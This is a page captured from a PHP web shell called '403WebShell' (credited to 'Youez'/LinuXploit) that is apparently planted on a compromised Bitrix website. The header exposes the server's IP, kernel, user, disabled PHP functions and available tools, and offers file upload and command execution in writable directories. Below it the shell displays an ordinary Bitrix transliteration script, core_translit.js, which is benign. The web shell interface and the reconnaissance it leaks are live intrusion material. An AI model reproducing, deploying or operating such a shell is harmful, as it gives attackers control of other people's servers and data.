%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.142.40.56
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/main/core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/main/core//core_translit.js
;(function(window) {
if (BX.translit) return;

var
	arTransTable = null,
	translatorCache = [],
	defaultParams = {
		max_len: 100,
		change_case: 'L', // 'L' - toLower, 'U' - toUpper, false - do not change
		replace_space_and_other: true,
		replace_space: '_',
		replace_other: '_',
		delete_repeat_replace: true,
		use_google: false, // Yandex.Translator is really using here but we won't rename a setting name now
		replace_dict: 'TRANS',
		replace_way: 'LE', // LE - LANG->ENGLISH, EL - ENGLISH->LANG
		skip_r_test: false
	},
	r = {
		en: /[A-Z0-9]/i,
		space: /\s/
	};

BX.translit = function (str, params)
{
	if (null == params) params = {};
	for (var i in defaultParams)
	{
		if (typeof params[i] == 'undefined')
			params[i] = defaultParams[i];
	}
	if (params.change_case)
		params.change_case = params.change_case.toUpperCase();

	if (params.use_google && params.callback && !!BX.message('YANDEX_KEY'))
	{
		return (new BX.CYandexTranslator(str, params)).run();
	}
	else
	{
		var len = str.length;
		var str_new = '';
		var last_chr_new = '';

		for (var i = 0; i < len; i++)
		{
			var chr = str.charAt(i);

			if (!params.skip_r_test && r.en.test(chr))
			{
				chr_new = chr;
			}
			else if (!params.skip_r_test && r.space.test(chr))
			{
				if (
					!params.delete_repeat_replace
					||
					(i > 0 && last_chr_new != params.replace_space)
				)
					chr_new = params.replace_space;
				else
					chr_new = '';
			}
			else
			{
				var chr_new = __getChar(chr, params.change_case, params.replace_way, params.replace_dict, params.replace_separator);
				if (null === chr_new)
				{
					if (params.replace_space_and_other)
					{
						if (!params.delete_repeat_replace
							||
							(i > 0 && i != len-1 && last_chr_new != params.replace_other)
						)
							chr_new = params.replace_other;
						else
							chr_new = '';
					}
					else
					{
						chr_new = chr;
					}
				}
			}

			if (null != chr_new && chr_new.length > 0)
			{
				switch(params.change_case)
				{
					case 'L': chr_new = chr_new.toLowerCase(); break;
					case 'U': chr_new = chr_new.toUpperCase(); break;
				}

				str_new += chr_new;
				last_chr_new = chr_new;
			}

			if (str_new.length >= params.max_len)
				break;
		}

		if (null != params.callback && BX.type.isFunction(params.callback))
		{
			params.callback(str_new)
			return str_new;
		}
		else
			return str_new;
	}
};

BX.correctText = function(str, params)
{
	if (typeof(params) == 'undefined')
		params = {};

	params.max_len = params.max_len? params.max_len: str.length;
	params.replace_way = params.replace_way? params.replace_way: 'EL'; // LE - LANG->ENGLISH, EL - ENGLISH->LANG, AUTO - auto select
	params.mixed = params.mixed? true: false;

	if (!params.mixed || params.replace_way == 'AUTO')
	{
		var countEnglish = 0;
		var countForeign = 0;
		var len = str.length;
		var regEnglish = /[A-Z]/i;
		var regSpecial = /[0-9!@#$%\^\&\*:;"~_ \(\),.\+\=\-\\\{\}\?\<\>]/i;
		for (var i = 0; i < len; i++)
		{
			var chr = str.charAt(i);
			if (regEnglish.test(chr))
			{
				countEnglish++
			}
			else if (regSpecial.test(chr))
			{
			}
			else
			{
				countForeign++;
			}
		}
	}
	if (params.replace_way == 'AUTO')
	{
		if (countForeign > countEnglish)
		{
			params.replace_way = 'LE';
		}
		else
		{
			params.replace_way = 'EL';
		}
	}

	if (params.replace_way == 'LE')
	{
		if (!params.mixed && (countEnglish > 0 || countForeign == 0))
		{
			return str;
		}
	}
	else if (!params.mixed && params.replace_way == 'EL')
	{
		if (!params.mixed && (countEnglish == 0 || countForeign > 0))
		{
			return str;
		}
	}

	return BX.translit(str, {
		'replace_dict': 'CORRECT',
		'replace_way': params.replace_way,
		'replace_separator': ' ',
		'skip_r_test': true,
		'change_case': false,
		'max_len': params.max_len,
		'delete_repeat_replace': false,
		'replace_space_and_other': false
	});
};

/* external translator interface class */
BX.IExternalTranslator = function(str, params)
{
	this.str = str;
	this.params = params;
};

BX.IExternalTranslator.prototype.run = function()
{
	var res = __checkCache(this.str);
	if (res)
		this.result({translation: res}, true);
	else
		this.translate();
};

/* translation function */
BX.IExternalTranslator.prototype.translate = function() {};

/* result processing function */
BX.IExternalTranslator.prototype.result = function(result, bSkipCache)
{
	if (!bSkipCache)
		translatorCache[translatorCache.length] = {original: this.str, translation: result.translation};

	this.params.use_google = false;
	BX.translit(result.translation, this.params);
};

/* Google Translate external class - DEPRECATED */
BX.CGoogleTranslator = function(str, params)
{
	BX.CBingTranslator.superclass.constructor.apply(this, arguments);
};
BX.extend(BX.CGoogleTranslator, BX.IExternalTranslator);

BX.CGoogleTranslator.prototype.translate = function()
{
	if (!window.google || typeof(window.google.load) != "function")
	{
		if (BX.browser.IsIE())
		{
			var cb_ie = BX.proxy(this.translate, this);
			var cb = function() {
				setTimeout(function() {
					cb_ie(arguments);
				}, 100);
			}
		}
		else
		{
			var cb = BX.proxy(this.translate, this);
		}

		BX.loadScript('http://www.google.com/jsapi?rnd=' + Math.random(), cb);
	}
	else if (!window.google.language)
	{
		google.load(
			'language', 1, {callback: BX.proxy(this.translate, this)}
		);
	}
	else
	{
		google.language.translate(
			this.str,
			BX.message('LANGUAGE_ID'),
			"en",
			BX.delegate(this.result, this)
		);
	}
};

/* Bing Translate external class - DEPARECATED AFTER 2012-08-01 */
BX.CBingTranslator = function(str, params)
{
	BX.CBingTranslator.superclass.constructor.apply(this, arguments);
};
BX.extend(BX.CBingTranslator, BX.IExternalTranslator);

BX.CBingTranslator.prototype.translate = function()
{
	var cb_name = 'bing_translate_callback_' + parseInt(Math.random() * 10000),
		url = 'http://api.bing.net/json.aspx?AppId='+BX.message('BING_KEY')+'&Query=' + BX.util.urlencode(this.str.substr(0, 5000))+'&Sources=Translation&Version=' + (this.params.version||'2.2') + '&Translation.SourceLanguage='+BX.message('LANGUAGE_ID')+'&Translation.TargetLanguage=en&JsonType=callback&JsonCallback=' + cb_name;

	window[cb_name] = BX.proxy(this.result, this);
	BX.loadScript(url, function() {window[cb_name] = null});
};

BX.CBingTranslator.prototype.result = function(result, bSkipCache)
{
	var res = {translation: this.str};
	if (result)
	{
		if (result.translation)
			res = result;
		else if (
			result.SearchResponse
			&& result.SearchResponse.Translation
			&& result.SearchResponse.Translation.Results
			&& result.SearchResponse.Translation.Results[0]
		)
		{
			res.translation = result.SearchResponse.Translation.Results[0].TranslatedTerm;
		}
	}

	return BX.CBingTranslator.superclass.result.apply(this, [res, bSkipCache]);
};


/* Yandex Translate external class */
BX.CYandexTranslator = function(str, params)
{
	BX.CYandexTranslator.superclass.constructor.apply(this, arguments);
};
BX.extend(BX.CYandexTranslator, BX.IExternalTranslator);

BX.CYandexTranslator.prototype.translate = function()
{
	var arStr = this.str.substr(0,5000).split(/\n/), text = '', i;

	for (i=0; i<arStr.length; i++)
		text += '&text=' + BX.util.urlencode(arStr[i]);

	var langPair = (BX.message('LANGUAGE_ID') == 'ua' ? 'uk' : BX.message('LANGUAGE_ID')) + '-en';

	var cb_name = 'yandex_translate_callback_' + parseInt(Math.random() * 100000),
		url = 'https://translate.yandex.net/api/v1.5/tr.json/translate?key='+BX.message('YANDEX_KEY')+'&lang='+langPair+'&callback=' + cb_name + '&clientId=bitrix' + text;

	window[cb_name] = BX.proxy(this.result, this);
	BX.loadScript(url, function() {window[cb_name] = null});
};

BX.CYandexTranslator.prototype.result = function(result, bSkipCache)
{
	var res = {translation: this.str};
	if (!!result)
	{
		if (result.translation)
			res = result;
		else if (result.code == 200 && result.text.length > 0)
			res.translation = result.text.join("\n");
	}

	return BX.CYandexTranslator.superclass.result.apply(this, [res, bSkipCache]);
};

/* private static functions */

function __checkCache(str)
{
	for (var i = 0, len = translatorCache.length; i < len; i++)
	{
		if (translatorCache[i].original == str)
			return translatorCache[i].translation;
	}

	return null;
};

function __generateTransTable(replace_dict, replace_way, replace_separator)
{
	var
		arFrom = (BX.message(replace_dict+(replace_way == 'LE'? '_FROM': '_TO')) || '').split(replace_separator),
		arTo = (BX.message(replace_dict+(replace_way == 'LE'? '_TO': '_FROM')) || '').split(replace_separator),
		i, len;

	if (arTransTable == null)
		arTransTable = {};

	if (typeof(arTransTable[replace_dict]) == 'undefined')
		arTransTable[replace_dict] = {};

	arTransTable[replace_dict][replace_way] = [];
	for (i = 0, len = arFrom.length; i < len; i++)
	{
		arTransTable[replace_dict][replace_way][i] = [arFrom[i], arTo[i]];
	}
};

function __getChar(chr, change_case, replace_way, replace_dict, replace_separator)
{
	if (typeof(replace_separator) == 'undefined')
		replace_separator = ',';

	if (typeof(replace_dict) == 'undefined')
		replace_dict = 'TRANS';

	if (arTransTable == null || typeof(arTransTable[replace_dict]) == 'undefined' || typeof(arTransTable[replace_dict][replace_way]) == 'undefined')
		__generateTransTable(replace_dict, replace_way, replace_separator)

	for (var i=0, len = arTransTable[replace_dict][replace_way].length; i < len; i++)
	{
		if (chr === arTransTable[replace_dict][replace_way][i][0])
		{
			return arTransTable[replace_dict][replace_way][i][1];
		}
	}

	return null;
};

})(window);

Youez - 2016 - github.com/yon3zu
LinuXploit